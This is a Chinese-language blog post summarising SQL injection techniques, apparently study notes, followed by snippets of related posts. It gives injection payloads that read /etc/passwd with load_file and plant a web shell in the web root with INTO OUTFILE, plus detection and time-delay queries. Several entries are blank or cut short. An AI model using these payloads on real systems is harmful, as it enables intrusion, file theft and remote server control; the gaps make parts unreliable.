SQL隱碼攻擊總結

2022-08-05 18:39:13 字數 1245 閱讀 5095

不管是何種語言編寫的web應用,有一部分是相同的,它們都具有互動性並且多半是資料庫驅動的。

資料庫驅動的web應用通常有三層:表示層:web瀏覽器或呈現引擎;邏輯層:如c# asp .net php等程式語言;儲存層:mysql等資料庫。

sql注入是一種將sql**插入或新增到應用的輸入引數中的攻擊,之後再將這些引數傳遞給後臺的sql伺服器加以解析並執行。

型別處理不當

1 union all select load_file('/etc/passwd')

- mysql中還有一個內建命令,可使用該命令來建立系統檔案並進行寫操作。還可以使用下列命令向web根目錄寫入一個web shell以便安裝一個可遠端互動訪問的web shell:
1union select "" into outfile "/var/www/html/***.com/cmd.php"

操縱引數

識別oracle和postgresql中的漏洞:引數為 bikes 和bi'||'kes

microsoft sql server :bikes 和 bi'+'kes

mysql:bikes和bi' 'kes

如果請求結果相同,很可能存在sql注入漏洞

使用者資料驗證有兩個原因會引發sql注入漏洞:

為防止出現這種漏洞,首要措施是執行嚴格的使用者輸入驗證和輸出編碼。列如可以採用白名單方法。

select colunms_1,colunms_2,...,colunms_n from table_1

union

select colunms_1,colunms_2,...,colunms_n from table_2;

兩個select語句對應列所返回的資料型別必須相同(或者至少相容)

技巧:示例:select * from products where brand = 'ac'+char(108+(case when(system_user='sa') then 1 else 0 end))+ 'e'

mysql:

postgresql:select pg_sleep(5)

oracle:select url_http.request('') from dual //訪問一個不存在的url通過超時來實現延時

mysql

postgresql:

sql注入

sql注入 一般我們在寫in條件查詢的時候 寫法如下 select from contactcomp where companyid in...

sql注入

資料庫跟excl非常像 每個database相當於excl檔案,table相當於excl檔案中的表,column相當於表中的一列。 information schema 這是一個資料庫,其他所有資料庫的主要資訊在該資料庫中都有存,如資料庫名,表名,列名 select 選取資料 union 前後的生氣...

sql注入

主要 sql注入的原理 sql注入的危害 sql注入攻擊的手段 asp access注入 aspx mssql注入 php mysql注入 jsp oracle注入 以及深入sql注入攻擊,如sql盲注 利用作業系統 sql注入的繞過 如何防禦sql注入。 目錄 什麼是sql注入 sql注入攻擊 腳...